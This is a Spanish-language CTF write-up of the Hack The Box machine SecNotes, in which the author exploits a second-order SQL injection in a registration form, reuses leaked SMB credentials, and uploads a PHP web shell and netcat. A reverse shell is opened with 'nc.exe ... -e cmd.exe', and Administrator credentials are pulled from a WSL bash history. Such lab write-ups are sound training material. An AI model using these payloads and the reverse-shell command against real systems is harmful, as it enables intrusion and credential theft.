HackTheBox - SecNotes Write Up
Mi primer Write Up de Hack The Box. SecNotes, una máquina mas o menos realista.
Los que participan constantemente en HTB saben que hay algunas máquinas mas "CTF", que incluyen cosas que pocas veces veremos en la vida real, esto no es el caso.
SecNotes es una máquina de dificultad media bien entretenida!
Nmap entrega como resultado dos servicios: HTTP y SMB, la misma herramienta cuenta con diversos scripts para realizar análisis más profundos a estos servicios, se utiliza el parámetro -A (aggresive) para que nmap utilice estos scripts NSE al momento de encontrar un servicio:
El servicio HTTP expone un login.php, en SMB muestra que el equipo tiene por nombre SECNOTES en el grupo de trabajo HTB y que podría conectarme con un usuario "guest"
Reviso primero el servicio HTTP, para esto siempre utilizo Burp Suite como proxy
Luego de intentar con algunas credenciales clásicas (admin/admin, admin/1234...secnotes/password....) y de revisar una posible vulnerabilidad de tipo SQL Injection sin éxito la única opción que me queda es registrarme (Sign up now)
Dentro del sitio intenté ejecutar SQLi en nuevas notas, eliminación de notas, contacto, etc... sin éxito, lo único que faltaba era el formulario de registro, hago una revisión básica, agregando una comilla simple y no muestra ningún error...
Si no muestra error, el usuario fue creado, así que uso las credenciales prueba' y 123456 y.....
Tengo SQL Injection! ...Al revisar en Burp los parámetros del home, veo que no recibe ningún parámetro, por lo tanto, la inyección de código ocurre al traer las notas filtrando por el usuario "logueado" que está en variables de sesión, la query en SQL debería ser algo como:
SELECT campo1, campo2 FROM notas WHERE usuario = '$_SESSION["user"]'
Necesito crear un usuario que permita obtener todas las notas, el payload para el SQLi sería así:
SELECT campo1, campo2 FROM notas WHERE usuario = 'vherrera' OR 1=1 /*'
Luego intento logearme, sin éxito, vuelvo a probar otro payload:
SELECT campo1, campo2 FROM notas WHERE usuario = 'vherrera' OR 1=1 --'
sin éxito
SELECT campo1, campo2 FROM notas WHERE usuario = 'vherrera' OR 1=1 #'
Ahora sí! ...puedo ver las demás notas, la primera es una receta, luego unos años (se resalta con * el 2009) y unas credenciales
Pruebo las credenciales en el servicio SMB y funcionan:
Estoy en la raíz de un IIS, si en el navegador uso: http://10.10.10.97/new-site obtengo 404, también si uso http://10.10.10.97/2009/new-site - 404
Reviso los permisos en SMB
Intento subir una shell en PHP para probar y funciona:
Pero no estoy navegando en el lugar correcto como para ejecutarla (http://10.10.10.97/shell.php - 404)
Vuelvo a enumerar servicios, pero ahora todos los puertos, ya que IIS podría estar configurado para cargar ese sitio en otro puerto
Y aparece el puerto 8808, que es justamente lo que buscaba...
A través de SMB subo una shell en php y el binario de netcat para obtener una shell reversa:
Dejo escuchando la conexión reversa en el puerto 443 y ejecuto la shell en el navegador
http://10.10.10.97:8808/shell.php?cmd=nc.exe 10.10.14.131 443 -e cmd.exe
Obtengo acceso a la máquina y el user.txt
Comenzamos enumerando la carpeta del usuario y vemos que hay un acceso directo llamado "bash"
Lo descargamos y revisamos
Busco en Google "bash.exe windows" y aparece Windows Subsystem For Linux
https://www.google.com/search?q=bash.exe+windows
https://docs.microsoft.com/en-us/windows/wsl/reference
Cuando enumero la raíz del disco C:\ se ven archivos y directorios que hacen referencia a Ubuntu, así que tiene sentido seguir por este camino.
Al ejecutar el comando bash.exe, no existe, realizo una búsqueda en todo el disco:
Ejecutamos el nuevo bash.exe encontrado y ahora un "ls" funciona, revisamos el archivo "history" de linux y obtenemos las credenciales de Administrator y con ello root.txt
Finish!
Y sólo por curiosidad, quice ver la query SQL de home.php que está en C:\inetpub\wwwroot\
$sql = "SELECT id, title, note, created_at FROM posts WHERE username = '" . $username . "'";
Hasta la próxima máquina!
Los que participan constantemente en HTB saben que hay algunas máquinas mas "CTF", que incluyen cosas que pocas veces veremos en la vida real, esto no es el caso.
SecNotes es una máquina de dificultad media bien entretenida!
ENUMERACIÓN
vherrera@hackthebox:/machines/secnotes# nmap -sV 10.10.10.97
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 19:10 EST
Nmap scan report for 10.10.10.97
Host is up (0.23s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: HTB)
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.53 seconds
vherrera@hackthebox:/machines/secnotes# nmap -A 10.10.10.97
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 19:27 EST
Nmap scan report for 10.10.10.97
Host is up (0.22s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h40m02s, deviation: 4h37m10s, median: 0s
| smb-os-discovery:
| OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: SECNOTES
| NetBIOS computer name: SECNOTES\x00
| Workgroup: HTB\x00
|_ System time: 2019-01-17T16:27:48-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-01-17 19:27:44
|_ start_date: N/A
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 228.60 ms 10.10.12.1
2 225.55 ms 10.10.10.97
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.09 seconds
Ahora tengo más información:El servicio HTTP expone un login.php, en SMB muestra que el equipo tiene por nombre SECNOTES en el grupo de trabajo HTB y que podría conectarme con un usuario "guest"
Reviso primero el servicio HTTP, para esto siempre utilizo Burp Suite como proxy
Luego de intentar con algunas credenciales clásicas (admin/admin, admin/1234...secnotes/password....) y de revisar una posible vulnerabilidad de tipo SQL Injection sin éxito la única opción que me queda es registrarme (Sign up now)
Ingreso mis credenciales y reviso el sitio...
Si no muestra error, el usuario fue creado, así que uso las credenciales prueba' y 123456 y.....
Tengo SQL Injection! ...Al revisar en Burp los parámetros del home, veo que no recibe ningún parámetro, por lo tanto, la inyección de código ocurre al traer las notas filtrando por el usuario "logueado" que está en variables de sesión, la query en SQL debería ser algo como:
SELECT campo1, campo2 FROM notas WHERE usuario = '$_SESSION["user"]'
Necesito crear un usuario que permita obtener todas las notas, el payload para el SQLi sería así:
SELECT campo1, campo2 FROM notas WHERE usuario = 'vherrera' OR 1=1 /*'
Luego intento logearme, sin éxito, vuelvo a probar otro payload:
SELECT campo1, campo2 FROM notas WHERE usuario = 'vherrera' OR 1=1 --'
sin éxito
SELECT campo1, campo2 FROM notas WHERE usuario = 'vherrera' OR 1=1 #'
Ahora sí! ...puedo ver las demás notas, la primera es una receta, luego unos años (se resalta con * el 2009) y unas credenciales
Pruebo las credenciales en el servicio SMB y funcionan:
vherrera@hackthebox:/machines/secnotes# smbclient -W HTB -U tyler \\\\10.10.10.97\\new-site
Enter HTB\tyler's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jan 17 20:37:41 2019
.. D 0 Thu Jan 17 20:37:41 2019
iisstart.htm A 696 Thu Jun 21 11:26:03 2018
iisstart.png A 98757 Thu Jun 21 11:26:03 2018
12978687 blocks of size 4096. 7911199 blocks available
smb: \>
Estoy en la raíz de un IIS, si en el navegador uso: http://10.10.10.97/new-site obtengo 404, también si uso http://10.10.10.97/2009/new-site - 404
Reviso los permisos en SMB
vherrera@hackthebox:/machines/secnotes# smbmap -H 10.10.10.97 -u tyler -p '92g!mA8BGjOirkL%OG*&'
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.97...
[+] IP: 10.10.10.97:445 Name: secnotes.htb
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
new-site READ, WRITE
Intento subir una shell en PHP para probar y funciona:
smb: \> put shell.php
putting file shell.php as \shell.php (0,0 kb/s) (average 0,0 kb/s)
smb: \> ls
. D 0 Thu Jan 17 20:50:41 2019
.. D 0 Thu Jan 17 20:50:41 2019
iisstart.htm A 696 Thu Jun 21 11:26:03 2018
iisstart.png A 98757 Thu Jun 21 11:26:03 2018
shell.php A 28 Thu Jan 17 20:50:41 2019
12978687 blocks of size 4096. 7910419 blocks available
smb: \>
Pero no estoy navegando en el lugar correcto como para ejecutarla (http://10.10.10.97/shell.php - 404)
Vuelvo a enumerar servicios, pero ahora todos los puertos, ya que IIS podría estar configurado para cargar ese sitio en otro puerto
vherrera@hackthebox:/machines/secnotes# nmap -sS -p- 10.10.10.97
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 21:43 EST
Nmap scan report for secnotes.htb (10.10.10.97)
Host is up (0.23s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
80/tcp open http
445/tcp open microsoft-ds
8808/tcp open ssports-bcast
Nmap done: 1 IP address (1 host up) scanned in 210.44 seconds
Y aparece el puerto 8808, que es justamente lo que buscaba...
EXPLOTACIÓN
A través de SMB subo una shell en php y el binario de netcat para obtener una shell reversa:
smb: \> put shell.php
putting file shell.php as \shell.php (0,0 kb/s) (average 0,0 kb/s)
smb: \> put nc.exe
putting file nc.exe as \nc.exe (34,6 kb/s) (average 24,6 kb/s)
smb: \> ls
. D 0 Thu Jan 17 21:58:13 2019
.. D 0 Thu Jan 17 21:58:13 2019
iisstart.htm A 696 Thu Jun 21 11:26:03 2018
iisstart.png A 98757 Thu Jun 21 11:26:03 2018
nc.exe A 36528 Thu Jan 17 21:58:10 2019
shell.php A 28 Thu Jan 17 21:58:08 2019
12978687 blocks of size 4096. 8047337 blocks available
smb: \>
Dejo escuchando la conexión reversa en el puerto 443 y ejecuto la shell en el navegador
http://10.10.10.97:8808/shell.php?cmd=nc.exe 10.10.14.131 443 -e cmd.exe
Obtengo acceso a la máquina y el user.txt
vherrera@hackthebox:/machines/secnotes# nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.131] from (UNKNOWN) [10.10.10.97] 49678
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\new-site>cd \
cd \
C:\>cd Users
cd Users
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9CDD-BADA
Directory of C:\Users
06/21/2018 02:00 PM <DIR> .
06/21/2018 02:00 PM <DIR> ..
06/22/2018 03:44 PM <DIR> Administrator
06/21/2018 01:55 PM <DIR> DefaultAppPool
06/21/2018 12:23 PM <DIR> new
06/21/2018 02:00 PM <DIR> newsite
06/21/2018 01:12 PM <DIR> Public
08/19/2018 09:54 AM <DIR> tyler
06/21/2018 01:55 PM <DIR> wayne
0 File(s) 0 bytes
9 Dir(s) 32,678,465,536 bytes free
C:\Users>type tyler\Desktop\user.txt
type tyler\Desktop\user.txt
XXXXXXXXXXXXXXXX3183fb8099cb904f3
C:\Users>whoami
whoami
secnotes\tyler
ELEVACIÓN DE PRIVILEGIOS
Comenzamos enumerando la carpeta del usuario y vemos que hay un acceso directo llamado "bash"
C:\Users\tyler\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9CDD-BADA
Directory of C:\Users\tyler\Desktop
08/19/2018 02:51 PM <DIR> .
08/19/2018 02:51 PM <DIR> ..
06/22/2018 02:09 AM 1,293 bash.lnk
04/11/2018 03:34 PM 1,142 Command Prompt.lnk
04/11/2018 03:34 PM 407 File Explorer.lnk
06/21/2018 04:50 PM 1,417 Microsoft Edge.lnk
06/21/2018 08:17 AM 1,110 Notepad++.lnk
08/19/2018 08:25 AM 34 user.txt
08/19/2018 09:59 AM 2,494 Windows PowerShell.lnk
7 File(s) 7,897 bytes
2 Dir(s) 32,887,115,776 bytes free
C:\Users\tyler\Desktop>
Lo descargamos y revisamos
vherrera@hackthebox:/machines/secnotes# strings bash.lnk
/C:\
Windows
System32
bash.exe
C:\Windows\System32\bash.exe
secnotes
1SPS
sf"=
1SPS
1SPS0
1SPS
jc(=
1SPS
Busco en Google "bash.exe windows" y aparece Windows Subsystem For Linux
https://www.google.com/search?q=bash.exe+windows
https://docs.microsoft.com/en-us/windows/wsl/reference
Cuando enumero la raíz del disco C:\ se ven archivos y directorios que hacen referencia a Ubuntu, así que tiene sentido seguir por este camino.
Al ejecutar el comando bash.exe, no existe, realizo una búsqueda en todo el disco:
C:\Users\tyler\Desktop>C:\Windows\System32\bash.exe
C:\Windows\System32\bash.exe
'C:\Windows\System32\bash.exe' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\tyler\Desktop>cd \
cd \
C:\>dir /S /B bash.exe
dir /S /B bash.exe
C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
Ejecutamos el nuevo bash.exe encontrado y ahora un "ls" funciona, revisamos el archivo "history" de linux y obtenemos las credenciales de Administrator y con ello root.txt
C:\>C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
mesg: ttyname failed: Inappropriate ioctl for device
ls
$Recycle.Bin
BOOTNXT
Distros
Documents and Settings
Microsoft
PerfLogs
Program Files
Program Files (x86)
ProgramData
Recovery
System Volume Information
Ubuntu.zip
Users
Windows
bootmgr
inetpub
pagefile.sys
php7
swapfile.sys
cat ~/.bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history
exit
vherrera@hackthebox:/machines/secnotes# smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin DHS 0 Thu Jun 21 18:24:29 2018
bootmgr AHSR 395268 Fri Jul 10 07:00:31 2015
BOOTNXT AHS 1 Fri Jul 10 07:00:31 2015
Distros D 0 Thu Jun 21 18:07:52 2018
Documents and Settings DHS 0 Fri Jul 10 08:21:38 2015
inetpub D 0 Thu Jun 21 21:47:33 2018
Microsoft D 0 Fri Jun 22 17:09:10 2018
pagefile.sys AHS 738197504 Thu Jan 17 22:07:05 2019
PerfLogs D 0 Wed Apr 11 19:38:20 2018
php7 D 0 Thu Jun 21 11:15:24 2018
Program Files DR 0 Sun Aug 19 17:56:49 2018
Program Files (x86) DR 0 Thu Jun 21 21:47:33 2018
ProgramData DH 0 Sun Aug 19 17:56:49 2018
Recovery DHS 0 Thu Jun 21 17:52:17 2018
swapfile.sys AHS 268435456 Thu Jan 17 22:07:05 2019
System Volume Information DHS 0 Thu Jun 21 17:53:13 2018
Ubuntu.zip A 201749452 Thu Jun 21 18:07:28 2018
Users DR 0 Thu Jun 21 18:00:39 2018
Windows D 0 Sun Aug 19 14:15:49 2018
12978687 blocks of size 4096. 7912697 blocks available
smb: \> cd users\Administrator\Desktop
smb: \users\Administrator\Desktop\> get root.txt
getting file \users\Administrator\Desktop\root.txt of size 34 as root.txt (0,0 KiloBytes/sec) (average 0,0 KiloBytes/sec)
smb: \users\Administrator\Desktop\> exit
vherrera@hackthebox:/machines/secnotes# cat root.txt
XXXXXXXXXXXXXXXXXX3fc1edbdc83d447b
Finish!
Y sólo por curiosidad, quice ver la query SQL de home.php que está en C:\inetpub\wwwroot\
$sql = "SELECT id, title, note, created_at FROM posts WHERE username = '" . $username . "'";
Hasta la próxima máquina!
Comentarios
Publicar un comentario